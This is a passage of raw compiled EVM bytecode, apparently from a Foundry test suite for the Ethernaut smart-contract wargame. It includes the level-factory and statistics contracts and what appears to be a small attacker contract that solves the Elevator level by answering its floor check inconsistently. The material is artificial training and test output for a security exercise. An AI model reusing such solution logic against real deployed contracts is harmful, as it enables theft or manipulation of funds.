f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f919081019062002031565b90508060018251620009829190620021c1565b8151811062000995576200099562001f90565b60200260200101515f0151600281518110620009b557620009b562001f90565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab49190810190620021d7565b90505f81848560405160200162000acd92919062002229565b60408051601f198184030181529082905262000aed9291602001620022d7565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002309565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b959190810190620021d7565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200195790919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b906200231d565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb9906200231d565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001bb7565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb4919062002357565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f62001f90565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f604051620011059062001ad9565b604051809103905ff0801580156200111f573d5f803e3d5ffd5b506021546040517fd018db3e0000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291925082169063d018db3e906024015f604051808303815f87803b15801562001180575f80fd5b505af115801562001193573d5f803e3d5ffd5b5050602054602154620011c09350620011ba92506001600160a01b039182169116620014b1565b620019f9565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f2001805462001206906200231d565b80601f016020809104026020016040519081016040528092919081815260200182805462001234906200231d565b8015620012835780601f10620012595761010080835404028352916020019162001283565b820191905f5260205f20905b8154815290600101906020018083116200126557829003601f168201915b505050505081526020019060010190620011e6565b5f80604051620012a89062001ae7565b604051809103905ff080158015620012c2573d5f803e3d5ffd5b5090505f604051620012d49062001af5565b604051809103905ff080158015620012ee573d5f803e3d5ffd5b508483604051620012ff9062001b03565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001339573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001398575f80fd5b505af1158015620013ab573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149857602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014445790505b50505050508152505081526020019060010190620013da565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200150d575f80fd5b505af115801562001520573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156200157e575f80fd5b505af115801562001591573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015f5573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200161e919081019062002031565b9050600181511115620016365760019150506200163b565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f2001805462001684906200231d565b80601f0160208091040260200160405190810160405280929190818152602001828054620016b2906200231d565b8015620017015780601f10620016d75761010080835404028352916020019162001701565b820191905f5260205f20905b815481529060010190602001808311620016e357829003601f168201915b50505050508152602001906001019062001664565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156200176d575f80fd5b505af115801562001780573d5f803e3d5ffd5b5050602054602154620017ad9350620017a792506001600160a01b039182169116620014b1565b62001a78565b565b6008545f9060ff1615620017c7575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001856573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200187c919062002375565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f620018f082436200238d565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019ae9086908690600401620023a3565b5f60405180830381865afa158015620019c9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019f29190810190620023d4565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a5e575f80fd5b505afa15801562001a71573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a47565b61066d806200240b83390190565b6101d08062002a7883390190565b610ae58062002c4883390190565b611e7a806200372d83390190565b610daa80620055a783390190565b6001600160a01b0381168114620011c0575f80fd5b5f805f6060848603121562001b39575f80fd5b833562001b468162001b11565b9250602084013562001b588162001b11565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bab5783516001600160a01b03168352928401929184019160010162001b84565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001bf15762001bf162001bb7565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c235762001c2362001bb7565b604052919050565b5f67ffffffffffffffff82111562001c475762001c4762001bb7565b50601f01601f191660200190565b5f6020828403121562001c66575f80fd5b813567ffffffffffffffff81111562001c7d575f80fd5b8201601f8101841362001c8e575f80fd5b803562001ca562001c9f8262001c2b565b62001bf7565b81815285602083850101111562001cba575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001cf357818101518382015260200162001cd9565b50505f910152565b5f815180845262001d1481602086016020860162001cd7565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ddc57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dc557605f1988850301835262001db284865162001cfb565b948d01949350918c019160010162001d93565b505050968901969350509087019060010162001d4d565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001eaa57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001e945783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e50565b5096890196945050509086019060010162001e12565b509098975050505050505050565b5f6020828403121562001ec9575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f2957603f1988860301845262001f1685835162001cfb565b9450928501929085019060010162001ef7565b5092979650505050505050565b5f6020828403121562001f47575f80fd5b8135620019f28162001b11565b5f806040838503121562001f66575f80fd5b823562001f738162001b11565b9150602083013562001f858162001b11565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fc05762001fc062001bb7565b5060051b60200190565b5f62001fda62001c9f8462001c2b565b905082815283838301111562001fee575f80fd5b620019f283602083018462001cd7565b5f82601f8301126200200e575f80fd5b620019f28383516020850162001fca565b80516200202c8162001b11565b919050565b5f602080838503121562002043575f80fd5b825167ffffffffffffffff808211156200205b575f80fd5b818501915085601f8301126200206f575f80fd5b81516200208062001c9f8262001fa4565b81815260059190911b830184019084810190888311156200209f575f80fd5b8585015b83811015620021a057805185811115620020bb575f80fd5b86016060818c03601f19011215620020d1575f80fd5b620020db62001bcb565b8882015187811115620020ec575f80fd5b8201603f81018d13620020fd575f80fd5b898101516200211062001c9f8262001fa4565b81815260059190911b8201604001908b8101908f83111562002130575f80fd5b6040840193505b82841015620021525783518252928c0192908c019062002137565b845250505060408201518781111562002169575f80fd5b620021798d8b8386010162001ffe565b8a830152506200218c606083016200201f565b6040820152845250918601918601620020a3565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200163b576200163b620021ad565b5f60208284031215620021e8575f80fd5b815167ffffffffffffffff811115620021ff575f80fd5b8201601f8101841362002210575f80fd5b620022218482516020840162001fca565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200226281600585016020880162001cd7565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022a181600a84016020880162001cd7565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022ea81846020880162001cd7565b8351908301906200230081836020880162001cd7565b01949350505050565b602081525f620019f2602083018462001cfb565b600181811c908216806200233257607f821691505b6020821081036200235157634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002368575f80fd5b8151620019f28162001b11565b5f6020828403121562002386575f80fd5b5051919050565b808201808211156200163b576200163b620021ad565b604081525f620023b7604083018562001cfb565b8281036020840152620023cb818562001cfb565b95945050505050565b5f60208284031215620023e5575f80fd5b815167ffffffffffffffff811115620023fc575f80fd5b620022218482850162001ffe56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105f38061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610331565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610353565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610331565b6101bb565b610114610250565b61011d5f6102a9565b565b5f8060405161012d90610310565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050806001600160a01b031663fe6dcdba6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038a565b949350505050565b6101c3610250565b6001600160a01b0381166102445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024d816102a9565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023b565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610214806103aa83390190565b6001600160a01b038116811461024d575f80fd5b5f60208284031215610341575f80fd5b813561034c8161031d565b9392505050565b5f8060408385031215610364575f80fd5b823561036f8161031d565b9150602083013561037f8161031d565b809150509250929050565b5f6020828403121561039a575f80fd5b8151801515811461034c575f80fdfe608060405234801561000f575f80fd5b506101f78061001d5f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80634069536314610043578063ed9a71341461005f578063fe6dcdba14610074575b5f80fd5b61004c60015481565b6040519081526020015b60405180910390f35b61007261006d366004610184565b610090565b005b5f546100809060ff1681565b6040519015158152602001610056565b604051632fcd25e560e11b81526004810182905233908190635f9a4bca906024016020604051808303815f875af11580156100cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f1919061019b565b610180576001829055604051632fcd25e560e11b81526004810183905273ffffffffffffffffffffffffffffffffffffffff821690635f9a4bca906024016020604051808303815f875af115801561014b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061016f919061019b565b5f805460ff19169115159190911790555b5050565b5f60208284031215610194575f80fd5b5035919050565b5f602082840312156101ab575f80fd5b815180151581146101ba575f80fd5b939250505056fea2646970667358221220ecb8fe45bca969d79077e5b7f0d22bb397e660f136524e2d4955dbac43818fae64736f6c63430008180033a2646970667358221220d2757874285fee59d6513c5923b9aa2cd3357051380b2235ff3bb580d92112e964736f6c6343000818003360806040525f805460ff1916600117905534801561001b575f80fd5b506101a7806100295f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c80635f9a4bca14610043578063bc6ba2431461007e578063d018db3e1461008a575b5f80fd5b61006a610051366004610120565b505f805460ff19811660ff918216159081179092551690565b604051901515815260200160405180910390f35b5f5461006a9060ff1681565b61009d610098366004610137565b61009f565b005b6040517fed9a7134000000000000000000000000000000000000000000000000000000008152600a6004820152819073ffffffffffffffffffffffffffffffffffffffff82169063ed9a7134906024015f604051808303815f87803b158015610106575f80fd5b505af1158015610118573d5f803e3d5ffd5b505050505050565b5f60208284031215610130575f80fd5b5035919050565b5f60208284031215610147575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461016a575f80fd5b939250505056fea264697066735822122029d8d314b427d7de43bb0b23256212bcd7767482a464ba04044277b051070a4664736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461b